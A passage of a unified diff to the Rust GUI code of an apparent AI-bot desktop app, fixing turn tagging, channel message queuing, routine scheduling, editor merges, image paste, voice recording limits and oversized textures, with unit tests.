self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone(), turn });
|
||||||
self.stick_bottom = true;
|
self.stick_bottom = true;
|
||||||
let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() });
|
let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() });
|
||||||
let job = agent::Job {
|
let job = agent::Job {
|
||||||
|
|
@ -931,7 +943,19 @@ impl App {
|
||||||
op: turn_id,
|
op: turn_id,
|
||||||
log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)),
|
log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)),
|
||||||
};
|
};
|
||||||
agent::spawn(job, bot_id, self.tx.clone(), cancel, ctx.clone());
|
// The turn speaks into a channel of its own; what it says goes on to the window with
|
||||||
|
// the turn's number on it.
|
||||||
|
let (turn_tx, turn_rx) = channel::<(u64, StreamEvent)>();
|
||||||
|
let (all, repaint) = (self.tx.clone(), ctx.clone());
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
for (id, ev) in turn_rx {
|
||||||
|
if all.send((id, turn, ev)).is_err() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
repaint.request_repaint();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
agent::spawn(job, bot_id, turn_tx, cancel, ctx.clone());
|
||||||
// (Its eyes start reading while it works; see face_pose.)
|
// (Its eyes start reading while it works; see face_pose.)
|
||||||
self.mark();
|
self.mark();
|
||||||
}
|
}
|
||||||
|
|
@ -1257,7 +1281,9 @@ impl App {
|
||||||
if self.streams.contains_key(&b.id) {
|
if self.streams.contains_key(&b.id) {
|
||||||
continue; // fires once the bot is idle
|
continue; // fires once the bot is idle
|
||||||
}
|
}
|
||||||
for r in b.routines.iter_mut().filter(|r| !r.paused) {
|
// (One that waits for an event has no clock: a time left on it by an older pause and
|
||||||
|
// resume must not run it every morning.)
|
||||||
|
for r in b.routines.iter_mut().filter(|r| !r.paused && r.trigger.is_none()) {
|
||||||
if r.next_run.map(|t| t <= now).unwrap_or(false) {
|
if r.next_run.map(|t| t <= now).unwrap_or(false) {
|
||||||
r.last_run = Some(now);
|
r.last_run = Some(now);
|
||||||
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
|
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
|
||||||
|
|
@ -1506,7 +1532,7 @@ impl App {
|
||||||
}
|
}
|
||||||
|
|
||||||
fn drain_events(&mut self, ctx: &egui::Context) {
|
fn drain_events(&mut self, ctx: &egui::Context) {
|
||||||
while let Ok((id, ev)) = self.rx.try_recv() {
|
while let Ok((id, turn, ev)) = self.rx.try_recv() {
|
||||||
// 自己進化 arrives after the turn has ended: keep the skill, say so under the reply.
|
// 自己進化 arrives after the turn has ended: keep the skill, say so under the reply.
|
||||||
if let StreamEvent::Learned(k, reply_at) = ev {
|
if let StreamEvent::Learned(k, reply_at) = ev {
|
||||||
let name = k.name.clone();
|
let name = k.name.clone();
|
||||||
|
|
@ -1517,8 +1543,9 @@ impl App {
|
||||||
self.dirty = true;
|
self.dirty = true;
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
// A stopped request may still deliver a few pieces; ignore them.
|
// A stopped request may still deliver a few pieces; ignore them — also when the
|
||||||
if !self.streams.contains_key(&id) {
|
// bot has a new turn running by now.
|
||||||
|
if self.streams.get(&id).map(|l| l.turn) != Some(turn) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
let selected = self.state.selected;
|
let selected = self.state.selected;
|
||||||
|
|
@ -2568,7 +2595,7 @@ impl App {
|
||||||
send_now = true;
|
send_now = true;
|
||||||
}
|
}
|
||||||
self.attachments_poll(ctx, bot.id, had_focus);
|
self.attachments_poll(ctx, bot.id, had_focus);
|
||||||
self.voice_poll();
|
self.voice_poll(ctx);
|
||||||
let mut draft = self.drafts.remove(&bot.id).unwrap_or_default();
|
let mut draft = self.drafts.remove(&bot.id).unwrap_or_default();
|
||||||
ui.add_space(4.0);
|
ui.add_space(4.0);
|
||||||
// Quote and attachments sit just above the pill.
|
// Quote and attachments sit just above the pill.
|
||||||
|
|
@ -2873,7 +2900,7 @@ impl App {
|
||||||
"toggle" => {
|
"toggle" => {
|
||||||
if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) {
|
if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) {
|
||||||
r.paused = !r.paused;
|
r.paused = !r.paused;
|
||||||
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
|
r.next_run = if r.trigger.is_some() { None } else { crate::routines::next_run(&r.schedule, r.created_at, now) };
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"run" => {
|
"run" => {
|
||||||
|
|
@ -2950,7 +2977,14 @@ impl App {
|
||||||
// ---------- dialogs ----------
|
// ---------- dialogs ----------
|
||||||
|
|
||||||
fn bot_editor(&mut self, ctx: &egui::Context) {
|
fn bot_editor(&mut self, ctx: &egui::Context) {
|
||||||
let Some((mut b, is_new)) = self.edit_bot.take() else { return };
|
let Some((mut b, is_new)) = self.edit_bot.take() else {
|
||||||
|
self.edit_bot_from = None;
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
// (Kept on the editor's first frame, before anything in it can have been changed.)
|
||||||
|
if self.edit_bot_from.as_ref().map(|f| f.id) != Some(b.id) {
|
||||||
|
self.edit_bot_from = Some(b.clone());
|
||||||
|
}
|
||||||
let p = self.pal;
|
let p = self.pal;
|
||||||
let mut save = false;
|
let mut save = false;
|
||||||
let mut cancel = false;
|
let mut cancel = false;
|
||||||
|
|
@ -3176,14 +3210,23 @@ impl App {
|
||||||
self.state.selected = b.id;
|
self.state.selected = b.id;
|
||||||
self.state.bots.push(b);
|
self.state.bots.push(b);
|
||||||
} else if let Some(slot) = self.state.bot_mut(b.id) {
|
} else if let Some(slot) = self.state.bot_mut(b.id) {
|
||||||
// Keep messages that arrived while the editor was open.
|
// Only what was changed here: what the bot got while the editor was open
|
||||||
|
// (messages, memories, 「永遠允許」, routines, conversations put aside) stays.
|
||||||
|
match self.edit_bot_from.take() {
|
||||||
|
Some(from) => slot.take_edit(from, b),
|
||||||
|
None => {
|
||||||
let msgs = std::mem::take(&mut slot.messages);
|
let msgs = std::mem::take(&mut slot.messages);
|
||||||
*slot = b;
|
*slot = b;
|
||||||
slot.messages = msgs;
|
slot.messages = msgs;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.edit_bot_from = None;
|
||||||
self.mark();
|
self.mark();
|
||||||
} else if open && !cancel {
|
} else if open && !cancel {
|
||||||
self.edit_bot = Some((b, is_new));
|
self.edit_bot = Some((b, is_new));
|
||||||
|
} else {
|
||||||
|
self.edit_bot_from = None;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -3730,7 +3773,8 @@ impl App {
|
||||||
}
|
}
|
||||||
|
|
||||||
/// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account
|
/// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account
|
||||||
/// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup).
|
/// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). An account
|
||||||
|
/// with 兩步驗證 on also needs ANYBOT_ACCOUNT_CODE (a recovery code: it is used once).
|
||||||
fn serve_join(&mut self) {
|
fn serve_join(&mut self) {
|
||||||
let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return };
|
let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return };
|
||||||
if !self.state.remote.host_token.is_empty() {
|
if !self.state.remote.host_token.is_empty() {
|
||||||
|
|
@ -3738,10 +3782,11 @@ impl App {
|
||||||
}
|
}
|
||||||
let Some((url, user)) = acct.rsplit_once('|') else { return };
|
let Some((url, user)) = acct.rsplit_once('|') else { return };
|
||||||
// ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there.
|
// ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there.
|
||||||
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "");
|
let code = std::env::var("ANYBOT_ACCOUNT_CODE").unwrap_or_default();
|
||||||
|
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "", &code);
|
||||||
if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) {
|
if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) {
|
||||||
let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default();
|
let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default();
|
||||||
if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite) {
|
if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite, &code) {
|
||||||
eprintln!("AnyBot:已建立帳號 {user}");
|
eprintln!("AnyBot:已建立帳號 {user}");
|
||||||
r = Ok(s);
|
r = Ok(s);
|
||||||
}
|
}
|
||||||
|
|
@ -3759,7 +3804,7 @@ impl App {
|
||||||
}
|
}
|
||||||
let marker = State::path().with_file_name("restored-from-account");
|
let marker = State::path().with_file_name("restored-from-account");
|
||||||
if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() {
|
if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() {
|
||||||
match crate::remote::restore(url, user, &pw).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) {
|
match crate::remote::restore(url, user, &pw, &code).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) {
|
||||||
Ok(mut st) => {
|
Ok(mut st) => {
|
||||||
st.remote = self.state.remote.clone();
|
st.remote = self.state.remote.clone();
|
||||||
eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len());
|
eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len());
|
||||||
|
|
@ -4109,6 +4154,8 @@ struct Live {
|
||||||
turn_id: String,
|
turn_id: String,
|
||||||
/// 直接操作 for this turn (switched on mid-turn by "全部允許").
|
/// 直接操作 for this turn (switched on mid-turn by "全部允許").
|
||||||
direct: Arc<AtomicBool>,
|
direct: Arc<AtomicBool>,
|
||||||
|
/// This turn's number: its events carry it.
|
||||||
|
turn: u64,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// How an "always allow" grant reads in the UI.
|
/// How an "always allow" grant reads in the UI.
|
||||||
|
|
|
||||||
|
|
@ -61,10 +61,22 @@ impl App {
|
||||||
self.add_attachment_paths(id, paths);
|
self.add_attachment_paths(id, paths);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// ⌘V with no text on the clipboard: maybe a picture.
|
// ⌘V with no text on the clipboard: maybe a picture. The window answers the paste keys
|
||||||
|
// itself and hands over the picture (no V key arrives for ⌘V); a V key with ⌘ that does
|
||||||
|
// arrive (⌘⇧V) looks at the clipboard as before.
|
||||||
let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty())));
|
let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty())));
|
||||||
|
let pasted_image = ctx.input(|i| i.events.iter().find_map(|e| if let egui::Event::PasteImage(img) = e { Some(img.clone()) } else { None }));
|
||||||
let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command)));
|
let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command)));
|
||||||
if composer_focused && cmd_v && !pasted_text && !self.demo {
|
if !composer_focused || self.demo {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some(img) = pasted_image {
|
||||||
|
let rgba: Vec<u8> = img.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect();
|
||||||
|
match attach::store_pasted(bot_id, img.size, rgba) {
|
||||||
|
Ok(a) => self.att.pending.entry(bot_id).or_default().push(a),
|
||||||
|
Err(e) => self.att.error = Some(e),
|
||||||
|
}
|
||||||
|
} else if cmd_v && !pasted_text {
|
||||||
if let Some(a) = attach::paste_image(bot_id) {
|
if let Some(a) = attach::paste_image(bot_id) {
|
||||||
self.att.pending.entry(bot_id).or_default().push(a);
|
self.att.pending.entry(bot_id).or_default().push(a);
|
||||||
}
|
}
|
||||||
|
|
@ -209,7 +221,19 @@ impl App {
|
||||||
|
|
||||||
/// The mic button: start, or stop and turn the recording into text.
|
/// The mic button: start, or stop and turn the recording into text.
|
||||||
pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) {
|
pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) {
|
||||||
if let Some((id, rec)) = self.att.voice.take() {
|
if self.voice_stop(ctx) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
crate::voice::stop_speaking();
|
||||||
|
match crate::voice::start() {
|
||||||
|
Ok(r) => self.att.voice = Some((bot_id, r)),
|
||||||
|
Err(e) => self.att.error = Some(e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Stop the recording that is running and turn it into text (false: none was running).
|
||||||
|
fn voice_stop(&mut self, ctx: &egui::Context) -> bool {
|
||||||
|
let Some((id, rec)) = self.att.voice.take() else { return false };
|
||||||
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
|
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
|
||||||
let ps = self.state.provider(ProviderKind::OpenAi);
|
let ps = self.state.provider(ProviderKind::OpenAi);
|
||||||
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
|
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
|
||||||
|
|
@ -226,13 +250,7 @@ impl App {
|
||||||
let _ = tx.send((id, r));
|
let _ = tx.send((id, r));
|
||||||
c.request_repaint();
|
c.request_repaint();
|
||||||
});
|
});
|
||||||
return;
|
true
|
||||||
}
|
|
||||||
crate::voice::stop_speaking();
|
|
||||||
match crate::voice::start() {
|
|
||||||
Ok(r) => self.att.voice = Some((bot_id, r)),
|
|
||||||
Err(e) => self.att.error = Some(e),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 會議記錄: a long recording that becomes a transcript for the bot to summarize.
|
/// 會議記錄: a long recording that becomes a transcript for the bot to summarize.
|
||||||
|
|
@ -252,15 +270,13 @@ impl App {
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Put the text where the person was typing.
|
/// Put the text where the person was typing.
|
||||||
pub(super) fn voice_poll(&mut self) {
|
pub(super) fn voice_poll(&mut self, ctx: &egui::Context) {
|
||||||
let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS };
|
let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS };
|
||||||
if let Some((started, max)) = self.att.voice.as_ref().map(|(_, r)| (r.started, max)) {
|
if self.att.voice.as_ref().is_some_and(|(_, r)| r.started.elapsed().as_secs() >= max) {
|
||||||
if started.elapsed().as_secs() >= max {
|
// What was recorded up to the limit is kept and turned into text like any
|
||||||
if let Some((_, r)) = self.att.voice.take() {
|
// recording (it was thrown away: two hours of a meeting, gone at the last second).
|
||||||
r.cancel();
|
self.voice_stop(ctx);
|
||||||
}
|
self.att.error = Some(format!("錄音最長 {},已經停止;錄到的部分正在轉成文字。", crate::voice::length_words(max)));
|
||||||
self.att.error = Some("錄音最長 10 分鐘,已經停止。".into());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
let Some(rx) = &self.att.voice_rx else { return };
|
let Some(rx) = &self.att.voice_rx else { return };
|
||||||
if let Ok((id, r)) = rx.try_recv() {
|
if let Ok((id, r)) = rx.try_recv() {
|
||||||
|
|
|
||||||
|
|
@ -3,12 +3,15 @@
|
||||||
|
|
||||||
use super::*;
|
use super::*;
|
||||||
use crate::channels::{self, Channel, Incoming, Kind, ReplyTo};
|
use crate::channels::{self, Channel, Incoming, Kind, ReplyTo};
|
||||||
|
use std::collections::VecDeque;
|
||||||
|
|
||||||
pub struct ChannelUi {
|
pub struct ChannelUi {
|
||||||
pub tx: Sender<Incoming>,
|
pub tx: Sender<Incoming>,
|
||||||
pub rx: Receiver<Incoming>,
|
pub rx: Receiver<Incoming>,
|
||||||
/// Where each bot's current answer goes back to.
|
/// Where each bot's current answer goes back to.
|
||||||
pub replies: HashMap<u64, Vec<ReplyTo>>,
|
pub replies: HashMap<u64, Vec<ReplyTo>>,
|
||||||
|
/// Messages that came while their bot was busy: each waits for a turn of its own.
|
||||||
|
waiting: VecDeque<Incoming>,
|
||||||
new_kind: Kind,
|
new_kind: Kind,
|
||||||
new_name: String,
|
new_name: String,
|
||||||
new_token: String,
|
new_token: String,
|
||||||
|
|
@ -36,10 +39,25 @@ impl Default for ChannelUi {
|
||||||
fn default() -> Self {
|
fn default() -> Self {
|
||||||
let (tx, rx) = channel();
|
let (tx, rx) = channel();
|
||||||
let (trig_tx, trig_rx) = channel();
|
let (trig_tx, trig_rx) = channel();
|
||||||
ChannelUi { tx, rx, replies: HashMap::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false }
|
ChannelUi { tx, rx, replies: HashMap::new(), waiting: VecDeque::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The waiting messages whose turn can start now: the oldest one of each bot that is free, in
|
||||||
|
/// the order they came. The rest stay, in order.
|
||||||
|
fn ready_messages(waiting: &mut VecDeque<Incoming>, busy: impl Fn(u64) -> bool) -> Vec<Incoming> {
|
||||||
|
let (mut ready, mut later): (Vec<Incoming>, VecDeque<Incoming>) = (vec![], VecDeque::new());
|
||||||
|
while let Some(m) = waiting.pop_front() {
|
||||||
|
if busy(m.bot_id) || ready.iter().chain(later.iter()).any(|w| w.bot_id == m.bot_id) {
|
||||||
|
later.push_back(m);
|
||||||
|
} else {
|
||||||
|
ready.push(m);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*waiting = later;
|
||||||
|
ready
|
||||||
|
}
|
||||||
|
|
||||||
impl App {
|
impl App {
|
||||||
pub(super) fn channels_restart(&mut self, ctx: &egui::Context) {
|
pub(super) fn channels_restart(&mut self, ctx: &egui::Context) {
|
||||||
if self.demo {
|
if self.demo {
|
||||||
|
|
@ -94,14 +112,35 @@ impl App {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
while let Ok(m) = self.ch.rx.try_recv() {
|
while let Ok(m) = self.ch.rx.try_recv() {
|
||||||
if self.state.bot(m.bot_id).is_none() {
|
self.ch.waiting.push_back(m);
|
||||||
continue;
|
|
||||||
}
|
}
|
||||||
|
self.ch.waiting.retain(|m| self.state.bot(m.bot_id).is_some());
|
||||||
|
// A message from a channel gets a turn of its own, when its bot is free. It used to be
|
||||||
|
// dropped into whatever turn was running, and that turn's answer (to the person's own
|
||||||
|
// question at the desk, say) was what went out to the channel.
|
||||||
|
let mut waiting = std::mem::take(&mut self.ch.waiting);
|
||||||
|
let ready = ready_messages(&mut waiting, |id| {
|
||||||
|
self.streams.contains_key(&id)
|
||||||
|
|| self.ch.replies.contains_key(&id)
|
||||||
|
|| self.group_next.contains(&id)
|
||||||
|
|| self.pending_turns.iter().any(|(b, _)| *b == id)
|
||||||
|
|| self.group_queue.get(&id).is_some_and(|q| !q.is_empty())
|
||||||
|
});
|
||||||
|
self.ch.waiting = waiting;
|
||||||
|
for m in ready {
|
||||||
let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text);
|
let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text);
|
||||||
self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone());
|
self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone());
|
||||||
self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) });
|
self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) });
|
||||||
|
// No turn started (a group with nobody in it): nothing will answer, so no later
|
||||||
|
// turn's answer may go there either. (A screen's turns run on its brain.)
|
||||||
|
if !self.streams.contains_key(&m.bot_id) && !self.mir.on {
|
||||||
|
self.ch.replies.remove(&m.bot_id);
|
||||||
|
}
|
||||||
self.dirty = true;
|
self.dirty = true;
|
||||||
}
|
}
|
||||||
|
if !self.ch.waiting.is_empty() {
|
||||||
|
ctx.request_repaint_after(std::time::Duration::from_millis(500));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The turn ended: send its answer back where the message came from.
|
/// The turn ended: send its answer back where the message came from.
|
||||||
|
|
@ -443,3 +482,24 @@ impl App {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// A message from a channel never joins a turn that is running: it waits for its own.
|
||||||
|
#[test]
|
||||||
|
fn a_channel_message_waits_for_a_turn_of_its_own() {
|
||||||
|
let msg = |bot_id: u64, text: &str| Incoming { bot_id, from: "ann".into(), text: text.into(), reply: ReplyTo { kind: Kind::Telegram, token: String::new(), target: "1".into(), thread: String::new(), channel_name: "c".into() } };
|
||||||
|
let texts = |v: &[Incoming]| v.iter().map(|m| m.text.clone()).collect::<Vec<_>>();
|
||||||
|
let mut waiting: VecDeque<Incoming> = [msg(1, "a"), msg(2, "b"), msg(1, "c"), msg(3, "d")].into();
|
||||||
|
// Bot 2 is in the middle of the person's own question: its message stays.
|
||||||
|
let ready = ready_messages(&mut waiting, |id| id == 2);
|
||||||
|
assert_eq!(texts(&ready), ["a", "d"]);
|
||||||
|
assert_eq!(texts(&waiting.iter().cloned().collect::<Vec<_>>()), ["b", "c"]);
|
||||||
|
// Later, everyone is free: one message each, the oldest first.
|
||||||
|
let ready = ready_messages(&mut waiting, |_| false);
|
||||||
|
assert_eq!(texts(&ready), ["b", "c"]);
|
||||||
|
assert!(waiting.is_empty());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -48,6 +48,9 @@ pub struct ComputerUi {
|
||||||
teach_for: Option<u64>,
|
teach_for: Option<u64>,
|
||||||
teach_error: String,
|
teach_error: String,
|
||||||
schedule_edit: String,
|
schedule_edit: String,
|
||||||
|
/// The time is being typed: the field shows what was typed, not what is saved (it showed
|
||||||
|
/// the saved time again every frame, so with 自動更新 on the time could not be changed).
|
||||||
|
schedule_typing: bool,
|
||||||
pub update_ready: bool,
|
pub update_ready: bool,
|
||||||
update_checked: Option<Instant>,
|
update_checked: Option<Instant>,
|
||||||
update_flag: Arc<AtomicBool>,
|
update_flag: Arc<AtomicBool>,
|
||||||
|
|
@ -378,7 +381,8 @@ impl App {
|
||||||
let update_ready = self.cu.update_ready;
|
let update_ready = self.cu.update_ready;
|
||||||
let working: Vec<String> = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect();
|
let working: Vec<String> = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect();
|
||||||
let mut on = cloudbox::auto_update_at().is_some();
|
let mut on = cloudbox::auto_update_at().is_some();
|
||||||
let mut at = cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone());
|
let mut at = if self.cu.schedule_typing { self.cu.schedule_edit.clone() } else { cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()) };
|
||||||
|
let mut typed = false;
|
||||||
if at.is_empty() {
|
if at.is_empty() {
|
||||||
at = "03:00".into();
|
at = "03:00".into();
|
||||||
}
|
}
|
||||||
|
|
@ -483,6 +487,7 @@ impl App {
|
||||||
sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| {
|
sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| {
|
||||||
let changed = ui.add(toggle(&mut on)).changed();
|
let changed = ui.add(toggle(&mut on)).changed();
|
||||||
let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace));
|
let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace));
|
||||||
|
typed |= r.changed();
|
||||||
if changed || r.lost_focus() {
|
if changed || r.lost_focus() {
|
||||||
schedule_changed = true;
|
schedule_changed = true;
|
||||||
}
|
}
|
||||||
|
|
@ -519,9 +524,14 @@ impl App {
|
||||||
sec_note(ui, p, ¬e);
|
sec_note(ui, p, ¬e);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
if schedule_changed && chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() {
|
self.cu.schedule_typing |= typed;
|
||||||
|
if schedule_changed {
|
||||||
|
// Done typing: a real time is saved; anything else gives way to the saved one.
|
||||||
|
if chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() {
|
||||||
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string()));
|
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string()));
|
||||||
}
|
}
|
||||||
|
self.cu.schedule_typing = false;
|
||||||
|
}
|
||||||
self.cu.schedule_edit = at;
|
self.cu.schedule_edit = at;
|
||||||
match act {
|
match act {
|
||||||
Act::None => {}
|
Act::None => {}
|
||||||
|
|
|
||||||
|
|
@ -136,7 +136,23 @@ fn start_job(kind: &str, path: &str) -> Option<Arc<Mutex<PageJob>>> {
|
||||||
Some(job)
|
Some(job)
|
||||||
}
|
}
|
||||||
|
|
||||||
fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle {
|
/// The size a picture is shown at when a side is longer than `max` (None: it fits as it is).
|
||||||
|
fn fitted(w: u32, h: u32, max: u32) -> Option<(u32, u32)> {
|
||||||
|
let long = w.max(h);
|
||||||
|
if long <= max || max == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let side = |v: u32| ((v as u64 * max as u64 / long as u64) as u32).clamp(1, max);
|
||||||
|
Some((side(w), side(h)))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A picture for the window to draw. One with a side longer than the graphics card takes (a
|
||||||
|
/// panorama, a whole-page screenshot: past 8192 or 16384 pixels, by the card) is made smaller
|
||||||
|
/// first — handed over whole, the window closed with a crash.
|
||||||
|
pub(super) fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle {
|
||||||
|
let max = ctx.input(|i| i.max_texture_side) as u32;
|
||||||
|
let small = fitted(img.width(), img.height(), max).map(|(w, h)| image::imageops::resize(img, w, h, image::imageops::FilterType::Triangle));
|
||||||
|
let img = small.as_ref().unwrap_or(img);
|
||||||
let size = [img.width() as usize, img.height() as usize];
|
let size = [img.width() as usize, img.height() as usize];
|
||||||
ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR)
|
ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR)
|
||||||
}
|
}
|
||||||
|
|
@ -790,3 +806,19 @@ fn big_file_icon(painter: &egui::Painter, r: egui::Rect, name: &str, p: Palette)
|
||||||
painter.rect_filled(tile, 10, col.gamma_multiply(0.16));
|
painter.rect_filled(tile, 10, col.gamma_multiply(0.16));
|
||||||
crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col);
|
crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// A picture longer than the graphics card takes is shown smaller, in its own shape.
|
||||||
|
#[test]
|
||||||
|
fn a_picture_too_long_for_the_card_is_made_to_fit() {
|
||||||
|
assert_eq!(fitted(4000, 3000, 8192), None);
|
||||||
|
assert_eq!(fitted(8192, 8192, 8192), None);
|
||||||
|
